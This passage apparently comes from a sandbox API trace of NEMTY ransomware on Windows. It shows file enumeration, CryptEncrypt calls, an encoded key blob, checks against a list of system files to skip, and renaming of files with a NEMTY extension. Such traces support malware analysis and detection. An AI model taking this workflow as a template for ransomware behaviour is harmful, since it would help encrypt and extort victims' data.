25 [0164.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0164.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0164.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="notConnectedStateIcon.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0164.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0164.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="notConnectedStateIcon.png", cchWideChar=25, lpMultiByteStr=0x4f9ed08, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notConnectedStateIcon.png", lpUsedDefaultChar=0x0) returned 25 [0164.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0164.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400d0 [0164.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0164.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0164.838] Sleep (dwMilliseconds=0x5) [0164.844] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x15e6a650, dwHighDateTime=0x1d561e8)) [0164.844] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x15e6a650, dwHighDateTime=0x1d561e8)) [0164.844] GetLastError () returned 0x5 [0164.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0164.844] GetLastError () returned 0x5 [0164.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0164.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0164.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0164.844] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0164.844] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0164.844] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0164.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0164.844] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="HTRq7jQ8q3ZSEJtcNDKvXCojyfb2G4jWSQQhoNzOzi0iZE3l9Idk28mscewg8laQ\r\n7ljvNUWS8BpGQzH0YozafcdZJCjGSCTMRY72cdoGXYNtBuyPg6r2Cmcjr5btUYKT\r\ne3F9OlbSDCpVexq9Q3uJZpQNGpsbWVOr3TovqhDIBUu8Tg/BBkhZ+UpFNWmBhauJ\r\nzjfxVzqjJyqcjTV2LrPEQL6OWuOmvGbkYVwL0G9gJHGUIeEtcfXt0VAboNbKYKPn\r\n/XDpgnsTIlWBAnkuTmQwDyup/CyUaJsAM+x5if3EL+yaIp0NtFQqvL1fwvMMQxUe\r\nHm/wqaQTOdl4nktTl2WibA==\r\n", pcchString=0x653e91c) returned 1 [0164.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0164.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0164.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0164.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0164.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0164.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0164.845] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\notConnectedStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\notconnectedstateicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0164.845] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0164.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0164.845] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.845] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.855] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.855] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.855] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.855] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.864] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.864] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.864] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.864] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.873] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.874] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.874] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.874] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.883] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.883] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.892] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.892] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.892] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.892] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.901] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.901] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.902] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.902] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.911] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.911] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.911] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.911] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.920] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.920] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.929] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.929] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.929] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.929] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.939] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.939] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.939] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.939] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.945] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.945] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.951] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.951] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0164.951] CloseHandle (hObject=0xffffffff) returned 0 [0164.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403d0 [0164.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0164.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0164.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0164.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0164.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0164.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340498 [0164.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0164.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0164.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0164.952] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\notConnectedStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\notconnectedstateicon.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\notConnectedStateIcon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\notconnectedstateicon.png._nemty_kgobjgd_")) returned 0 [0164.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0164.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0164.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0164.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0164.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0164.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0164.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0164.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0164.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0164.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0164.952] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87715a6e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87715a6e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3076689b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="redStateIcon.png", cAlternateFileName="")) returned 1 [0164.952] lstrcmpiW (lpString1="redStateIcon.png", lpString2=".") returned 1 [0164.952] lstrcmpiW (lpString1="redStateIcon.png", lpString2="..") returned 1 [0164.952] lstrcmpiW (lpString1="redStateIcon.png", lpString2="...") returned 1 [0164.952] lstrcmpiW (lpString1="redStateIcon.png", lpString2="windows") returned -1 [0164.952] lstrcmpiW (lpString1="redStateIcon.png", lpString2="$RECYCLE.BIN") returned 1 [0164.952] lstrcmpiW (lpString1="redStateIcon.png", lpString2="rsa") returned -1 [0164.952] lstrcmpiW (lpString1="redStateIcon.png", lpString2="NTDETECT.COM") returned 1 [0164.953] lstrcmpiW (lpString1="redStateIcon.png", lpString2="ntldr") returned 1 [0164.953] lstrcmpiW (lpString1="redStateIcon.png", lpString2="MSDOS.SYS") returned 1 [0164.953] lstrcmpiW (lpString1="redStateIcon.png", lpString2="IO.SYS") returned 1 [0164.953] lstrcmpiW (lpString1="redStateIcon.png", lpString2="boot.ini") returned 1 [0164.953] lstrcmpiW (lpString1="redStateIcon.png", lpString2="boot.ini") returned 1 [0164.953] lstrcmpiW (lpString1="redStateIcon.png", lpString2="AUTOEXEC.BAT") returned 1 [0164.953] lstrcmpiW (lpString1="redStateIcon.png", lpString2="ntuser.dat") returned 1 [0164.953] lstrcmpiW (lpString1="redStateIcon.png", lpString2="desktop.ini") returned 1 [0164.953] lstrcmpiW (lpString1="redStateIcon.png", lpString2="CONFIG.SYS") returned 1 [0164.953] lstrcmpiW (lpString1="redStateIcon.png", lpString2="RECYCLER") returned 1 [0164.953] lstrcmpiW (lpString1="redStateIcon.png", lpString2="BOOTSECT.BAK") returned 1 [0164.953] lstrcmpiW (lpString1="redStateIcon.png", lpString2="bootmgr") returned 1 [0164.953] lstrcmpiW (lpString1="redStateIcon.png", lpString2="programdata") returned 1 [0164.953] lstrcmpiW (lpString1="redStateIcon.png", lpString2="appdata") returned 1 [0164.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0164.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="redStateIcon.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0164.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0164.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="redStateIcon.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="redStateIcon.png", lpUsedDefaultChar=0x0) returned 16 [0164.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0164.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0164.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="redStateIcon.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0164.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0164.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="redStateIcon.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="redStateIcon.png", lpUsedDefaultChar=0x0) returned 16 [0164.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0164.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0164.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0164.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0164.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="redStateIcon.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0164.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0164.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="redStateIcon.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="redStateIcon.png", lpUsedDefaultChar=0x0) returned 16 [0164.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0164.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0164.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="redStateIcon.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0164.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0164.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="redStateIcon.png", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="redStateIcon.png", lpUsedDefaultChar=0x0) returned 16 [0164.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0164.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0164.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0164.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400d0 [0164.954] Sleep (dwMilliseconds=0x5) [0164.968] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x15f9b150, dwHighDateTime=0x1d561e8)) [0164.968] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x15f9b150, dwHighDateTime=0x1d561e8)) [0164.968] GetLastError () returned 0x5 [0164.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0164.968] GetLastError () returned 0x5 [0164.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0164.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0164.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0164.968] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0164.968] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, 